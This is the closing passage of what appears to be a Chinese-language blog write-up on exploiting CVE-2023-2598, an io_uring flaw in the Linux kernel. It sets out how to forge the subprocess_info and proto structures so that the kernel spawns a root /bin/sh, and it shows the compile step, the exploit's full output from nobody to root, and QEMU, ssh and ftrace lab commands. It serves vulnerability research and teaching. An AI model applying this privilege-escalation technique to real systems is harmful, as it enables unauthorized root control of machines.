来构造参数,目标是执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
。分解如下:
/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
^ ^ |______________________________|
| | |
| | |
path arg1 arg2
arg0
获得shell原理:利用/bin/sh
生成另一个/bin/sh
进程,并将stdin
/stdout
重定向到我们的虚拟控制台/串口。
subprocess_info
提权设置:必须设置work.func
指向call_usermodehelper_exec_work
。注意,之前设置了 proto->ioctl
指向 call_usermodehelper_exec()
。call_usermodehelper_exec()
函数负责对 deffered work
排队,而调用call_usermodehelper_exec_work()
函数来处理deffered work
,也即真正负责生成新进程。path
成员仍然指向proto
结构,最后触发调用ioctl
提权并获得shell。
// 注意:subprocess_info 对象和 sock 对象的地址相同
// proto 开头是 path 字符串
// proto->ioctl = call_usermodehelper_exec
work.data <-> set to 0 // 0
work.entry.next <-> set to it's own address // 指向自身
work.entry.prev <-> set to the address of work.entry.next // 指向 work.entry.next
work.func <-> set to call_usermodehelper_exec_work // call_usermodehelper_exec_work
complete <-> irrelevant
path <-> don't overwrite or overwrite it with the same value // 偏移40, 指向伪造的proto对象。`sock_common->skc_prot` & `subprocess_info->path` 值相同, `proto->ioctl` 偏移为40, proto对象前面40字节可以放path, 也即"/bin/sh"
argv <-> write the address where the argv array was set up // 参数数组的地址。proto对象后面可以放argv参数
envp <-> set to 0, we have no env variables // 0
wait <-> irrelevant
retval <-> irrelevant
*init <-> set to 0 // 0
*cleanup <-> set to 0 // 0
data <-> irrelevant
4-3. EXP测试
$ gcc -static ./exploit.c -luring -o ./exploit
$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
$ ./exploit
[*] CVE-2023-2598 Exploit by anatomic (@YordanStoychev)
memfd: 0, page: 0 at virt_addr: 0x4247000000, reading 266240000 bytes
memfd: 0, page: 500 at virt_addr: 0x42470001f4, reading 266240000 bytes
memfd: 0, page: 1000 at virt_addr: 0x42470003e8, reading 266240000 bytes
memfd: 0, page: 1500 at virt_addr: 0x42470005dc, reading 266240000 bytes
memfd: 0, page: 2000 at virt_addr: 0x42470007d0, reading 266240000 bytes
memfd: 0, page: 2500 at virt_addr: 0x42470009c4, reading 266240000 bytes
memfd: 0, page: 3000 at virt_addr: 0x4247000bb8, reading 266240000 bytes
memfd: 0, page: 3500 at virt_addr: 0x4247000dac, reading 266240000 bytes
memfd: 0, page: 4000 at virt_addr: 0x4247000fa0, reading 266240000 bytes
memfd: 0, page: 4500 at virt_addr: 0x4247001194, reading 266240000 bytes
memfd: 0, page: 5000 at virt_addr: 0x4247001388, reading 266240000 bytes
memfd: 0, page: 5500 at virt_addr: 0x424700157c, reading 266240000 bytes
memfd: 0, page: 6000 at virt_addr: 0x4247001770, reading 266240000 bytes
memfd: 0, page: 6500 at virt_addr: 0x4247001964, reading 266240000 bytes
memfd: 0, page: 7000 at virt_addr: 0x4247001b58, reading 266240000 bytes
memfd: 0, page: 7500 at virt_addr: 0x4247001d4c, reading 266240000 bytes
memfd: 0, page: 8000 at virt_addr: 0x4247001f40, reading 266240000 bytes
memfd: 0, page: 8500 at virt_addr: 0x4247002134, reading 266240000 bytes
memfd: 0, page: 9000 at virt_addr: 0x4247002328, reading 266240000 bytes
memfd: 0, page: 9500 at virt_addr: 0x424700251c, reading 266240000 bytes
memfd: 0, page: 10000 at virt_addr: 0x4247002710, reading 266240000 bytes
memfd: 0, page: 10500 at virt_addr: 0x4247002904, reading 266240000 bytes
memfd: 0, page: 11000 at virt_addr: 0x4247002af8, reading 266240000 bytes
memfd: 0, page: 11500 at virt_addr: 0x4247002cec, reading 266240000 bytes
memfd: 0, page: 12000 at virt_addr: 0x4247002ee0, reading 266240000 bytes
memfd: 0, page: 12500 at virt_addr: 0x42470030d4, reading 266240000 bytes
Found value 0xdeadbeefdeadbeef at offset 0x21c8
Socket object starts at offset 0x2000
kaslr_leak: 0xffffffffb09503f0
kaslr_base: 0xffffffffafe00000
found socket is socket number 1950
our struct sock object starts at 0xffff9817ff400000
fake proto structure set up at 0xffff9817ff400578
args at 0xffff9817ff400728
argv at 0xffff9817ff400750
subprocess_info set up at beginning of sock at 0xffff9817ff400000
calling ioctl...
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # w00t w00t
5. 常用命令
# 安装 liburing 生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install
# exp编译
$ gcc -static ./exploit.c -luring -o ./exploit
常用命令:
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img
试试。
# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290
ftrace调试:注意,QEMU启动时需加上 no_hash_pointers
启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p
打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p
-> %lx
。
# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable
# ssh 连进去执行 exploit
cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt
# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
参考
Conquering the memory through io_uring - Analysis of CVE-2023-2598
https://www.openwall.com/lists/oss-security/2023/05/08/3
introduction to the subsystem —— io_uring介绍
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2024/07/30/CVE-2023-2598/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)